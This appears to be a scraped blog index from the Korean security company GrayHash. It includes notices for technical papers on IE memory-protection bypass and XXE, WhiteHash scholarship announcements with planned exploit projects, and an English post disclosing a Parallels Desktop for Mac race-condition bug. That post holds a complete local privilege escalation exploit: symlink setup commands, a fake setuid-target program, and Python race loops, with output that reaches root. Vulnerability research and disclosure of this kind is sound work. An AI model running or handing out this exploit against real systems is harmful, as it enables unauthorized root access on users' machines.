Skip to content

[기술문서] Introduction to IE’s memory protection

본 문서는 마이크로소프트 Internet Explorer의 메모리 보호기법에 대한 소개와 우회기법에 대해 다루고 있습니다. Vtguard, Protected Memory, Isolated Heap 등의 보호기법을 알아보고 우회할 수 있는 기법들을 소개합니다. Grayhash의 현성원(aka sweetchip) 연구원이 ZDI Bug bounty에 제출한 취약점을 연구했을 때의 경험을 토대로 작성했습니다.

    – Introduction to IE’s memory protection PDF 문서 다운로드하기

 

Protected: 0-day path check incorrect in Dropbox for OS X

This content is password protected. To view it please enter your password below:

0-day race condition in Parallels Desktop for Mac (Local Privilege Escalation On Host)

This post is about a Parallels Desktop for Mac Local Privilege Escalation bug on host. (Unfortunately, not about escaping Virtual machine.) I suddenly found a root-setuid executable in a Parallels installed directory while i was cleaning up my disk. I’m using the latest version of the program which is 10.1.2 (28859) at this moment.

* Target: Parallels Desktop for Mac
* Version: 10.1.2 (28859) (Latest version, 8 Jan 2015)
* Bug class: Race condition
* Impact: Local Privilege Escalation on host

beist_air$ cd “/Applications/Parallels Desktop.app/Contents/MacOS/”
beist_air$ ls -al “Parallels Service”
-rwsr-sr-x 1 root accessibility 27376 1 8 13:24 Parallels Service

I wondered what “Parallels Service” is doing. And I have an IDA and why not go firing on it.

Then, you can see the entry point here.

service_entry_point

Now, I went to the function list and found an interesting one; ‘_execv

service_execv

Let’s check out what functions are calling _execv().

service_execv_cross

There is only one calling the execute function, here.

service_execv_call

And if you scroll up, you’ll see these basic blocks. I skipped how you can be reached here but after a bit of reverse engineering, it’ll turn out it’s just comparing your argv[1] to ‘inittool’. (For the record, there are more commands than ‘inittool’ such as service_start and service_stop. But it seems only ‘inittool’ can execute an executable.)

service_strcmp

beist_air$ ls -al inittool
-rwxr-xr-x@ 1 root wheel 23992 1 8 13:24 inittool

Scroll down to come back.

service_scroll_down

Wait, we spot this string. “error: failed to verify signature (%d)”

So, we can guess the sub_100002920() function verifies if it’s properly signed or not. The next screenshot is part of code of the function.

service_sign_check

We now name sub_100002920() as verify(). Now, let’s read the assembly code between verify() and execv() linearly.

service_linear

This code flow is weird. Where is race-condition-immune code between verify() and execv()? Bingo, there must be a race. If we win, we can get ‘root’ as our target binary is a root-setuid executable.

However, the ‘inittool’ that “Parallels Services” executes is reached via “Parallels Services”s own directory path. But we don’t have any write permission in the directory.

drwxr-xr-x 35 root wheel 1190 1 8 13:24 MacOS

We have a solution from very old school. Just do make a hard-link or soft-link. I think I’ve explained almost everything to exploit this super simple vulnerability. Let me root my own box.


beist_air$ cd ~
beist_air$ mkdir -p Contents/Resources/
beist_air$ cp “/Applications/Parallels Desktop.app/Contents/Resources/exceptions.list” Contents/Resources/
beist_air$ mkdir -p work/tmp/
beist_air$ ln -s “/Applications/Parallels Desktop.app/Contents/MacOS/Parallels Service” work/tmp/poc
beist_air$ cd work/tmp
beist_air$ ls -al poc
lrwxr-xr-x 1 beist_air staff 68 1 8 11:26 poc -> /Applications/Parallels Desktop.app/Contents/MacOS/Parallels Service
beist_air$ cp “/Applications/Parallels Desktop.app/Contents/MacOS/inittool” inittool
beist_air$ cp inittool orig_inittool
beist_air$ cat fake_inittool.c
#include
#include
#include

int main() {
printf(“\nGot it! UID: %d\n”, getuid());
printf(“Got it! EUID: %d\n”, geteuid());
while(1);
}
beist_air$ gcc -o fake_inittool fake_inittool.c
beist_air$ cat race.py
import os
import sys

while 1:
os.system(“cp orig_inittool inittool”)
os.system(“cp fake_inittool inittool”)

beist_air$ cat run.py
import os
while 1:
os.system(“./poc inittool”)

beist_air$ python race.py &
beist_air$ python run.py
./inittool: line 16: __TEXT8?__stub_helper__TEXTL.L?__cstring__TEXTz%z__unwind_info__TEXT?H?__eh_frame__TEXT???__DATA__nl_symbol_ptr__DATA__la_symbol_ptr__DATAH__LINKEDIT: command not found
error: failed to verify signature (-67062)
./inittool: line 16: __TEXT8?__stub_helper__TEXTL.L?__cstring__TEXTz%z__unwind_info__TEXT?H?__eh_frame__TEXT???__DATA__nl_symbol_ptr__DATA__la_symbol_ptr__DATAH__LINKEDIT: command not found
./inittool: ./inittool: cannot execute binary file
error: failed to verify signature (-67061)
error: failed to verify signature (-67062)
./inittool: ./inittool: cannot execute binary file
error: failed to verify signature (-67061)





error: failed to verify signature (-67062)
error: failed to verify signature (-67061)
error: failed to verify signature (-67061)
error: failed to verify signature (-67062)
error: failed to verify signature (-67061)
error: failed to verify signature (-67061)
./inittool: ./inittool: cannot execute binary file
./inittool: line 16: __TEXT8?__stub_helper__TEXTL.L?__cstring__TEXTz%z__unwind_info__TEXT?H?__eh_frame__TEXT???__DATA__nl_symbol_ptr__DATA__la_symbol_ptr__DATAH__LINKEDIT: command not found

Got it! UID: 0
Got it! EUID: 0

After some seconds, I got the root shell. This is a race condition bug from like 90’s. It’s probably time to hunt some virtual machine escape bugs in it.

Enjoy.

[기술문서] Introduction to XXE Injection

본 기술문서는 XXE 취약점에 대해 소개하는 문서이며 그레이해쉬 백호연(Oldzombie) 연구원이 작성하였습니다. XXE 취약점은 국내에 널리 알려져 있지는 않지만 해외에서는 크리티컬한 취약점으로 여러 번 발견된 적 있습니다. 구글과 페이스북 등의 웹 사이트도 XXE 취약점에 노출된 적이 있었습니다. (페이스북 XXE 취약점, 구글 XXE 취약점)

    – Introduction to XXE PDF 문서 다운로드하기

[WHITEHASH] 멤버 소개 및 프로젝트 소개

그레이해쉬에서 운영하는 장학 프로그램인 화이트해쉬에 많은 관심을 가져주셔서 감사합니다. 이번 글에서는 화이트해쉬 선발인원에 대한 간단한 소개와 각 선발인원들이 장학 프로그램 기간 중 수행할 프로젝트에 대해서 설명드리겠습니다. 화이트해쉬 1기 선발인원은 총 5명입니다. 이 친구들은 총 6개월의 기간동안 각자 제시한 프로젝트를 진행하고 그레이해쉬에서는 연구 지원을 위해 재정 보조와 연구 매니지먼트를 수행하게 됩니다. 먼저, 인원 소개입니다.

1. 현성원
– BoB 2기에서 경연 단계 진출 중
– 2014 세종대학교 입학 예정
– Memory corruption 취약점 다수 발견
– KISA 취약점 제보 프로그램에 여러 차례 리포트
– 화이트해쉬에서 반장 역할

2. 권혁
– BoB 1기에서 Best6에 선발
– 2014 고려대학교 입학 예정
– Memory corruption 취약점 다수 발견
– 화이트해쉬에서 부반장 역할

3. 이대진
– BoB 1기 활동
– 국내 최초 페이스북, 구글 등의 버그 바운티 프로그램에 제보
– 웹 브라우저 시큐리티에 대한 연구 진행
– 현재 memory corruption 및 윈도우 커널 스터디

4. 진용휘
– 2013 ETRI 주니어 해킹대회 2위
– 2013 화이트햇 컨테스트 해킹대회 청소년부 개인전 우승
– 2013 화이트햇 컨테스트 해킹대회 청소년부 단체전 우승
– Memory corruption 취약점 다수 발견
– 고등학교 3학년

5. 임정원
– 2013 ETRI 주니어 해킹대회 1위
– BoB 2기에서 경연 단계 진출 중
– 2013 화이트햇 컨테스트 해킹대회 청소년부 개인전 2위
– 기타 다양한 해킹대회에서 입상 실적
– Memory corruption 취약점 다수 발견
– 고등학교 3학년

2014년 1월 24일, 화이트해쉬의 공식 첫미팅을 가졌습니다. 이 자리에서는 각자 프로그램 활동 중 진행할 프로젝트를 제시하고 발표하는 시간을 가졌습니다. 각 프로젝트 주제는 멤버들에 의해서 자발적으로 제시됐으며 다음은 각 멤버들의 프로젝트 소개입니다.

[프로젝트 #1]
주제: 카카오톡 모바일 메신저에서 RCE 취약점 찾기
플랫폼: 안드로이드
기간: 2개월
예상 산출물: 카카오톡을 사용하는 유저를 해킹할 수 있는 원격 장악 공격 코드
멤버: 권혁, 임정원
소개: 모바일 환경의 어플리케이션은 그 용도에 따라 주어지는 권한이 제한되어야 합니다. 가령 사진첩은 네트워크 기능이 필요 없어야 합니다. 모바일 환경에서 어플리케이션에 주어지는 권한이 많을 수록 해당 어플리케이션이 갖고 있는 잠재 위협은 커진다고 볼 수 있습니다. 본 프로젝트에서는 안드로이드 기반에서 카카오톡 메신저의 Remote code execution 취약점을 발견하는 것을 목표로 합니다. 카카오톡이나 네이버 라인 같은 메신저는 모바일 환경에서 가장 많은 권한을 갖고 있는 어플리케이션 중에 하나입니다. 즉, 이 친구들이 골을 이룰 경우, 여러분이 쓰고 있는 모바일 메신저를 통해 여러분을 해킹할 수 있는, 그런 아주 심각한 문제점을 제시할 수 있으며 또 나아가서 보완해나갈 수 있을 것으로 기대합니다.

[프로젝트 #2]
주제: HTML5에 새롭게 추가된 컴포넌트들에 대한 브라우저 취약점 연구
플랫폼: 윈도우 Internet Explorer 11
기간: 2개월
예상 산출물: IE 익스플로잇 기법, HTML5에 대한 퍼징 방법론, RCE 공격 코드
멤버: 현성원
소개: 본 프로젝트는 웹 브라우저 환경에서 발생할 수 있는 Use-After-Free류의 취약점을 연구합니다. 웹 브라우저는 가장 복잡한 프로그램 중에 하나이며 많은 코드들이 매일같이 업데이트되고 있습니다. 기존에 웹 브라우저 환경에서의 UAF 취약점은 많이 발견되었지만 이 프로젝트에서는 HTML5 환경에서 특화되고 새로 추가된 컴포넌트들을 집중적으로 연구하여 취약점을 발견할 예정입니다. 취약점 뿐만 아니라 IE 브라우저에서의 exploitation 기법 정리를 위한 내용도 포함되어 있습니다. 특히 heap memory management의 경우 브라우저 특성 별로 많은 차이점을 갖게 되는데 최신의 IE 환경에서 이에 대한 기술적 분석을 정리하는 것도 프로젝트 목표에 포함되어 있습니다.

[프로젝트 #3]
주제: 가상화 패커들을 제너럴하게 언패킹하는 프로그램 개발
플랫폼: 더미다 등의 VM 기반 패커들
기간: 2개월
예상 산출물: 언패커 프로그램
멤버: 진용휘
소개: 프로그램을 분석하기 어렵게 만들기 위해서 일반적으로 쓰이는 기술은 패킹입니다. 패킹 기술에는 여러가지가 있는데 해커들에게 많은 도전과제를 주는 패킹 기술은 Virtual machine 기반으로 이루어졌습니다. 이 프로젝트는 VM 기술을 적용한 패커들을 어떻게 하면 자동으로 Unpacking할 수 있는지, 그에 대한 근본 리서치를 수행합니다. 더미다 등의 VM 기반 패커들을 분석하고 이를 해제할 수 있는 언패커를 개발하는 것이 프로젝트의 목적이며 나아가서는 제너럴하게 언패킹 작업을 수행할 수 있는 기법들에 대해 고찰할 예정입니다. 본 프로젝트가 완성될 경우, 악성코드 분석에 많은 도움이 될 것으로 기대됩니다.

[프로젝트 #4]
주제: 토렌트 프로그램들의 취약점 분석과 연구
플랫폼: Bit-torrent, U-torrent
기간: 1.5개월
예상 산출물: 토렌트 클라이언트들을 공격할 수 있는 프로그램 개발
멤버: 이대진
소개: P2P 프로그램인 토렌트 프로그램 상에서 다양한 공격 벡터에 대해 연구하는 프로젝트입니다. 이 프로젝트에서는 주로 memory corruption이나 logical 버그를 연구하고 공략할 예정입니다. 가령 torrent 파일을 해석할 때 발생할 수 있는 보안 문제점, 혹은 토렌트 프로토콜 상에서 발생할 수 있는 상황을 연구합니다. 토렌트는 그 대중성에도 불구하고 아직까지 많은 보안 리서치가 되고 있지 않는데, 본 프로젝트를 통해 여러 보안 위협과 시나리오를 제시할 수 있을 것으로 기대하고 있습니다.

이상이 프로젝트에 대한 간략한 소개입니다. 화이트해쉬 1기는 총 6개월의 활동 기간을 거치게 됩니다. 즉, 각 멤버들은 활동 기간 중 3~6개의 프로젝트를 소화할 예정입니다. 아쉽게도 선발인원들이 연구를 진행하면서 나온 상세내용들은 실시간으로 대중에 공개되지는 않습니다. 하지만 그레이해쉬 관리 매니저들이 대중에게 알리기 위해 각 프로젝트의 진행상황을 이해하고 또 해석하여 간략한 소개를 블로그에 주기적으로 포스팅할 예정입니다. 물론 최종 결과물은 대중에게 완전히 공개되며 기회가 될 경우, 컨퍼런스/세미나 등의 공개 장소에서 발표할 예정입니다.

모든 프로젝트들은 기술적 연구에 집중되어 있습니다. 기술적인 연구에 집중을 해달라는 것은 그레이해쉬의 주문이었고 이것은 화이트해쉬의 설립 목적에 부합시키기 위함입니다. 본 장학 프로그램은 청소년들을 대상으로 진행하는 것이 설립 취지였고, 어린 친구들은 기술적인 백그라운드가 우선적으로 되어야 향후 넓은 시야를 가질 수 있기 때문입니다.

또한 그레이해쉬에서는 보안에 관심있는 청소년들이 보안에 관한 연구를 체계적으로 진행하고 여러 부담들을 덜 수 있도록 장학금 지급과 더불어 활동비, 교통비 등을 지급합니다. 특히, 프로젝트 단위의 리서치를 진행하는데 필요한 절차와 체계를 학습할 수 있도록 관리 매니저들이 적극 동참할 예정입니다.

많은 응원 부탁드립니다. 감사합니다!

 

WhiteHash 장학 프로그램 합격자 명단

안녕하세요! GrayHash입니다.

GrayHash에서 진행하는 보안 영재 장학 프로그램인 WhiteHash에 많은 분들이 지원해주셨습니다. 동명이인이 없는 관계로 합격자 명단에는 지원자의 이름만 명시하겠습니다. 최종 합격자는 5명이고 다음은 명단입니다.

    1. 권혁: BoB 1기 best 6 선정, 각종 해킹대회 입상, 제로데이 발견, 보안 기술문서 작성, 컨퍼런스 발표, 해킹대회 운영

    2. 임정원: 각종 해킹대회 입상/우승, 제로데이 발견, BoB 2기 경연단계 진출, 해킹대회 운영

    3. 이대진: 구글/페이스북 포함 각종 취약점 리포트, 각종 해킹대회 입상, 컨퍼런스 발표, 커널 취약점 분석

    4. 현성원: 각종 제로데이 발견, 컨퍼런스 발표, 해킹대회 입상, BoB 2기 경연단계 진출

    5. 진용휘: 각종 해킹대회 입상/우승, 프로그래밍 대회 입상, 제로데이 발견

앞으로 위 합격자는 GrayHash의 장학 프로그램의 일원으로서 활동을 하게 될 것이며 첫째, 학생 본인의 실력 향상, 둘째, 커뮤니티에 기여를 최우선 목적으로 대장정을 떠나게 될 것입니다.

위 선발인원 이외에도 많은 훌륭한 지원자들이 있었으나 선발인원 수 제한 문제로 인하여 안타깝게 떨어지신 분들이 있습니다. 본 장학 프로그램은 1기에서 그치는 것이 아니라 앞으로도 지속적으로 운영해나갈 것이기 때문에 꾸준한 관심 부탁드리겠습니다.

장학 프로그램의 진행 과정은 앞으로 본 홈페이지인 http://grayhash.com 에서 확인하실 수 있습니다.

그레이해쉬 장학 프로그램에서 보안 영재를 모집합니다!

“Hash is hash. There is no color. If colored, it means something special.”

그레이해쉬에서 보안 영재들을 모집합니다. 보안 영재들이 자기가 하고 싶은 분야에서 공부를 열심히 할 수 있게끔, 장학금을 지원합니다. 장학 프로그램에 필요한 모든 예산은 그레이해쉬의 수익금에서 지불합니다.

장학 프로그램의 이름은! WhiteHash

WhiteHash는 보안 분야의 젊은 영재들이 앞으로도 진취적이고 열정적인 학습을 할 수 있도록 지원하기 위해 만들어졌습니다. 장학생에 선정된다면 활동 기간은 6개월입니다. WhiteHash 프로그램을 성실하게 이수한 학생에게는 Certificate이 지급됩니다.

Certificate를 받은 장학생에게는 본인이 하고 싶은 연구, 혹은 향후 입학하고 싶은 학교 및 취업하고 싶은 회사에 입사할 수 있도록 전력을 다하여 지원할 것입니다. 그레이해쉬 이승진 대표의 추천서도 보장됩니다!

현재 1기를 모집 중이며 본 프로그램은 지속적으로 운영될 계획입니다. 다음은 지원과 관련된 상세내용입니다.

 

1. 대상:
    – 대한민국 연령 기준 17~23살 (91년생 ~ 97년생)

2. 지원 자격:
    – 보안에 대한 열정이 있는 자 (보안과 관련된 모든 분야 포함)
    – 사이버법률 위반 사례가 없는 자
    – 공개적으로 활동할 수 있는 자

3. 지원 서류:
    – 이력서 (자유 포맷, 열정과 의지에 관한 내용은 생략할 것, 객관적인 사실만 서술)
    – 본인이 지금까지 수행한 업무 (0day 헌팅, 컨설팅, 기타 등등) 에 대한 소개
    – 기타 자신을 자랑할 수 있는 증명 자료들

4. 평가 기준:
    – 제출 자료
    – 리서치 결과 (보안에 국한되지 않으며 컴퓨터에 관련된 모든 항목 기재)
    – 커뮤니티에 기여한 자
    – 인성
    – 기타 그레이해쉬 자체 평가 기준에 부합한 자 (필요 시 면접 평가)

5. 합격자 발표:
    – 2013년 12월 31일

6. 장학생 유지 조건:
    – 그레이해쉬와 지속적인 토론을 통해 공개 리서치 결과를 발표해야 함
    – 다양한 활동으로 커뮤니티에 기여해야 함 (컨퍼런스 발표, 기술문서/코드 작성 등)
    – 위 조건들에 부합하지 않을 경우, 운영진 판단에 따라 중도 하차할 수 있음

7. 장학생 기간:
    – 6개월

8. 1기 선별 인원:
    – 5명

9. 혜택:
    – 프로그램 과정 중 산출된 결과물들은 장학생 개인의 소유
    – 6개월간 매월 30만원씩 장학금
    – 6개월 후 Certificate를 받은 자에게는 연구 지원금 120만원 추가 장학금
    – 기타 프로그램 기간 중 연구에 필요한 기자재 지원
    – 향후 장학생의 진로에 필요할 경우 그레이해쉬 및 관련 업계 명사 추천서 지원

10. 모집기간:
    – 2013년 12월 20일까지

11. 장학 프로그램 시작:
    – 2014년 2월 1일

11. 지원서 제출 이메일:
    – cybermong@grayhash.com
    – 제목 앞에 “[WhiteHash]” 반드시 기재 (기재하지 않을 시 불이익)
    – 지원 문의사항은 본 블로그 글의 댓글을 이용해주세요.

대한민국 보안 영재들의 많은 지원 바라겠습니다!